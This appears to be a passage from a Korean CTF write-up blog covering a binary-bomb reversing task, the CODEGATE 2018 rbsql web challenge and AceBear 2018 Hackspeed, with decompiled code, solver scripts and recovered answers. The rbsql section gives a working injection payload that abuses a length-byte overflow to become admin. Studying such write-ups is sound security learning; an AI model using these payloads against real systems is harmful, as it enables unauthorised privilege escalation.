    if ( v36 != *(&v44 + 5 * v39 + v38) )
    main::func9::h0a15ac6c05fddc27();

    func7 에서는 25개의 정수를 입력받아서 테이블에 있는 값과 비교한다. input : ‘17 24 1 8 15 23 5 7 14 16 4 6 13 20 22 10 12 19 21 3 11 18 25 2 9’

    main::func5 -> main::func4

    if ( main::func12::h2c7664a1999a9c74(0, v14) != 0x6B )
    {
    v48 = 0;
    v45 = *(a1 + 16);
    v44 = *a1;
    v49 = 0;
    v47 = *(v27 + 16);
    v46 = *v27;
    main::func8::h2f4dc8e7bc6e464b(&v44, &v46);
    }

    func5 에서는 정수 1개를 입력받아 func12에서 연산을 진행하는데, func12의 루틴은 분석하기 복잡해서 그냥 브루트 포싱으로 찾았다.

    from kira import *

    for i in range(1,0xffffff):
    s = process('/root/boom')

    s.recvuntil('mission\n')
    s.sendline('Know what? It\'s a new day~')
    s.recv(1024)
    s.sendline('57 93 38 92 50 86 93')
    s.recv(1024)
    s.sendline('17 24 1 8 15 23 5 7 14 16 4 6 13 20 22 10 12 19 21 3 11 18 25 2 9')
    s.recv(1024)
    s.sendline(str(i))
    res = s.recv(1024)
    if res.find('BOO')<0 and res.find('thread')<0:
    print key
    print res
    raw_input('w')
    s.close()

    input : ‘31’

    Get flag

    위의 4개의 함수를 모두 통과하면 func4로 오게 된다. func4는 4개의 정수를 입력받고 검사하지만, func8로 이동하기 위해 올바르지 않은 값을 입력하여 func8로 이동하면 flag을 얻을 수 있다. input : ‘1 1 1 1’

    root@ubuntu:~# ./boom 
    Welcome! You have to remove this bomb.
    Here's the first mission
    Know what? It's a new day~
    Good job. Next one is~
    57 93 38 92 50 86 93
    Wowww
    17 24 1 8 15 23 5 7 14 16 4 6 13 20 22 10 12 19 21 3 11 18 25 2 9
    You did very well :)
    31
    GoGo!
    1 1 1 1
    Enter This! 12345678123456781234567812345678

  • CODEGATE 2018 - rbsql

    /

    Reversing

    case "create":
    $result = rbReadFile(SCHEMA);
    for($i=3;$i<count($result);$i++){
    if(strtolower($result[$i][0]) === strtolower($table)){
    return "Error6";
    }
    }
    $fileName = "../../rbSql/rbSql_".substr(md5(rand(10000000,100000000)),0,16);
    $result[$i] = array($table,$fileName);
    rbWriteFile(SCHEMA,$result);
    exec("touch {$fileName};chmod 666 {$fileName}");
    $content = array($table,$fileName,$query);
    rbWriteFile($fileName,$content);
    break;

    문제 페이지로 들어가면 로그인, 회원 가입 기능들이 구현된 홈페이지를 볼 수 있고 php 파일 입출력을 통해 db를 구현하여 회원 정보를 저장한다. 먼저 데이터가 어떻게 변환되어 들어가는지 분석해보았다. 회원 가입할 때 $_POST[uid] = aaaa, $_POST[umail] = bbbb를 전달하면 ‘\x02\x02\x01\x04aaaa\x01\x04bbbb’로 들어간다. 다시 불러올때는 ‘\x02’은 배열 ‘\x01’을 문자열로 인식해서 처리한다.

    elseif($page == "me"){
    echo "<p>uid : {$_SESSION['uid']}</p><p>level : ";
    if($_SESSION['lvl'] == 1) echo "Guest";
    elseif($_SESSION['lvl'] == 2) echo "Admin";
    echo "</p>";
    include "dbconn.php";
    $ret = rbSql("select","member_".$_SESSION['uid'],["id",$_SESSION['uid']]);
    echo "<p>mail : {$ret['1']}</p><p>ip : {$ret['3']}</p>";
    if($_SESSION['lvl'] === "2"){
    echo "<p>Flag : </p>";
    include "/flag";
    rbSql("delete","member_".$_SESSION['uid'],["id",$_SESSION['uid']]);
    }
    }

    mypage에서 회원 레벨이 2일때 flag를 출력해주며 회원 레벨은 가입 할때 기본적으로 1로 설정된다. 그래서 insert 할 때 인젝션 공격을 통해 레벨을 2로 만들려고 하였다.


    Vulnerability

    // insert user-info
    if(strlen($umail) > 256) error("email too long");

    /// rbPack
    if(is_string($data)){
    $rawData .= STR . chr(strlen($data)) . $data;
    }

    회원 가입할 때 이메일을 최대 256개까지 입력할 수 있는데, rbPack 함수에서 길이 정보를 저장할 때 chr 함수를 사용해서 길이 정보를 ‘\x00’으로 만들 수 있다. email을 ‘%01%2081dc9bdb52d04dc20036dbd8313ed055%01%0e11111111111111%01%01%32%01%c9’+’a’*0xc9 로 보내면 flag를 얻을 수 있다.

  • AceBear Security Contest 2018 - Hackspeed

    /

    Reversing

    Password를 입력받아 검사후 결과를 출력해주는 간단한 프로그램이다. 먼저 IDA를 통해 Password 검사 루틴을 분석하였다. 검사를 진행하는 함수는 hex-ray가 작동하지 않아서 어셈블리를 통해 분석해야했다.

    .text:01391573                 mov     edx, dword_1395408
    .text:01391579
    .text:01391579 loc_1391579: ; CODE XREF: sub_1391480+E0
    .text:01391579 inc esi
    .text:0139157A cmp esi, dword_1395428
    .text:01391580 jl short loc_1391533
    .text:01391582 pop edi
    .text:01391583
    .text:01391583 loc_1391583: ; CODE XREF: sub_1391480+B0
    .text:01391583 pop esi
    .text:01391584 test edx, edx
    .text:01391586 jz short loc_13915AE
    .text:01391588 mov ecx, [edx+4]
    .text:0139158B call sub_1391090
    .text:01391590 mov ecx, [edx+8]
    .text:01391593 call sub_1391090

    입력받은 Password를 tree 형태로 만드는데, Password의 첫 번째 글자가 최상위 노드가 되고, 두 번째 글자부터는 부모 노드와 값을 비교하여 작으면 왼쪽 노드가 되고, 크면 오른쪽 노드가 된다. 결국 꽤 복잡한 구조로 트리화되고 왼쪽 최하위 노드부터 하나씩 꺼내와서 Password를 다시 만든다. 그렇게 만들어진 Password를 다시 원래대로 돌리는것은 매우 힘들어보였다.

    .text:013915AE                 mov     eax, Tree_password
    .text:013915B3 mov ecx, Tree_password+4
    .text:013915B9 xor eax, ecx
    .text:013915BB cmp eax, 4
    .text:013915BE jnz short fail
    .text:013915C0 mov eax, Tree_password+8
    .text:013915C5 xor eax, ecx
    .text:013915C7 cmp eax, 7
    .text:013915CA jnz short fail
    .text:013915CC mov eax, Tree_password+0Ch
    .text:013915D1 xor eax, Tree_password+10h
    .text:013915D7 cmp eax, 8
    .text:013915DA jnz short fail
    .text:013915DC mov eax, Tree_password+14h
    .text:013915E1 xor eax, Tree_password+18h
    .text:013915E7 cmp eax, 50h

    재정렬된 Password를 하나씩 가져와 xor 연산으로 검사하는데, 재정렬되는 규칙이 입력 값에 따라서 매우 변칙적이라 이 정보만으로는 원래의 패스워드를 알아내기 힘들다.

    while ( (Tree_password[i] ^ Table[Tree_password[i]]) == *((_BYTE *)&v6 + i) )
    {
    if ( ++i >= len )
    goto correct;
    }
    print((int)"Noob\n", v4);

    xor 연산말고 다른 함수에서 Password의 검사를 2번 진행하는데, 첫번째 함수의 검사는 위와 같다. 이 함수 덕분에 재정렬된 Password를 어느 정도 알아낼 수 있다. 예를 들어 재정렬된 Password의 첫 번째 글자가 ‘a’라고 하면 Table[‘a’] ^ v6[0]이 ‘a’가 되어야하므로 조건에 만족하는 문자를 전부 구한다음 xor 연산까지 만족하는 문자를 찾으면 될 것 같다.

    import string

    table = [0x29,0x2D, ... ,0x67,0x6A]
    v6 = [0xF6,0xE7,0xE3,0xF8,0xDD,0xE3,0x16,0x1D,0xE6,0xEC,0xEC,0xCC,0xE7,0xE0,0xE9,0x07]

    for j in range(16):
    for i in string.printable:
    if ord(i)^table[ord(i)] == v6[j]:
    print str(j)+' : '+i,
    #output
    """
    0 : 0
    1 : 4 p
    2 : 3 5
    3 : 1
    4 : 9 v :
    5 : 3 5
    6 : e
    7 : g
    8 : l
    9 : 6 k r /
    10 : 6 k r /
    11 : y =
    12 : 4 p
    13 : m
    14 : i
    15 : a
    """

    가능한 문자열이 2개 이상인 경우에는 xor 연산도 만족하는 문자를 선택하면 된다. 그러면 몇 글자만 빼고 전부 알아낼 수 있다.

    while ( ((unsigned __int8)password[i] ^ LOBYTE(Tree_password[i])) == *((_BYTE *)&v2 + i) )
    {
    if ( ++i >= 16 )
    return 1;
    }

    Password를 검사하는 2번째 함수에서는 정렬되기 전의 Password를 연산에 사용하므로 재정렬된 Password를 통해 원래의 Password를 알아낼 수 있다. 위에서 구한 패스워드를 전부 xor해보면 flag를 구할 수 있다.

    c2 = [0x51,0x01,0x5a,0x5c,0x49,0x04,0x56,0x0c,0x58,0x12,0x1e,0x49,0x17,0x54,0x0c,0x13]
    tp = '043195eglkrypmia'
    password = ''

    for i in range(16):
    password += chr(ord(tp[i]) ^ c2[i])

    print password
    #output - 'a5imp13k4yl0g9er'